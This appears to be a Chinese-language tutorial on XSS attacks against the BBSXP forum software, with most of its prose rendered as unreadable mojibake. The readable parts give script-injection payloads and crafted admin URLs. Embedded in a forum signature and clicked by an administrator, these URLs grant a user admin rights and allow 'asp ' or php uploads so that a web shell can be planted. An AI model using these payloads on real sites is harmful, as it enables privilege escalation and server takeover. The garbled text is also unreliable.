xss©ԭ
һʲôXSSXSSֽCSS(Cross Site Script) վűָǶWebҳhtml룬ûҳ֮ʱǶWebhtmlᱻִУӶﵽûĿġXSSڱʽĹΪ䱻Ҳã˳ΣԡҪXSSõĿshellȻϼ˼·ϣԴа
ѰXSS©
˶ԣҰXSSֳ࣬һڲĹҪָó©վ䣬:dvbbsshowerror.aspڵĿվ©һⲿĹҪָԼXSSվ©ҳѰҷĿпվ©ҳ統Ҫһվ㣬Լһпվ©ҳȻվ䣬ͨṤѧȣƭĿĹԱ
Ȼļõһshell.
ͳĿվ÷ʽһ㶼ǹȹһվҳȻһռһռcookieҳ棬ŽûվҳԵȡûcookieԱһĹΪַʽ̫ڱ˴ҿ֪ܶΪռcookieҲδܽһȥcookie붼ǾܵģҪcookieƭĻͬҲҪܵԼһ˼·һ̶Ͻ⡣ڸ˶ԣȽϳķͨվһΪóıݹܻӹԱȹܵõһȨޡҽϸĽּ
ڲĿվ
Ѱҿվ©
дĻȽϺð죬ҪûĵطͱûȺͶԡ<,>,;,ַǷˡҪעǶڱǩıպϣQQȺվ©ʱڱ<script>alert(test)</script>DzᱻִеģΪԴıǩδպϣһ</script>ʱֻҪպһ</script>ͻִУ磺ڱ</script><script>alert(test)</script>ͿԵһtestĿ
BBSXPΪɶɼеĶҾBBSXPȽϺõĿվ©Ϊ.
a.עһͨûעûlinzi.Ȼڸǩд:
http://127.0.0.1/bbsxp/admin_user.asp?menu=userok&username=linzi&membercode=5&userlife=1&posttopic=3&money=9&postrevert=0&savemoney=0&deltopic=1®time=2005-9-1+1%3A1%3A1&experience=9&country=%D6%D0%B9%FA&&Submit=+%B8%FC+%D0%C2+
c.ȻӣԽƭԱӡ
d.ΪDzԣԹԱݵ½Ȼӣǻ֣ᷢlinziѾͼһʾ
ֻ֮Ҫڸǩ
http://127.0.0.1/bbsxp/admin_setup.asp?menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&MaxFile=102400&UpFileGenre=gif|jpg|asp%20|rar
ͬӵȣֻҪԱˣͻһչΪasp пոϴչʱֻҪϴһnewmm.asp (пո)ͿԵõһshell.
ĹеԣȻԵõshellԲ̫ãΪǩܵ˳ȵƣܳ255ַǿԽflashվʵָΪεĹflashľǷĽܡ
:
һ¸ͷurl,: admin_setup.asp?
menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&MaxFile=102400&UpFileGenre=gif|jpg|php|rar
ٽƭԱϻӣԱں̨ԶӸphpչĺꡣΪbbsxpڸͷurl˿ո,%ֻܼӸոչȻҲԼӸshtmlչͿ鿴Դ룬Ȼһ
ҳ:
[1]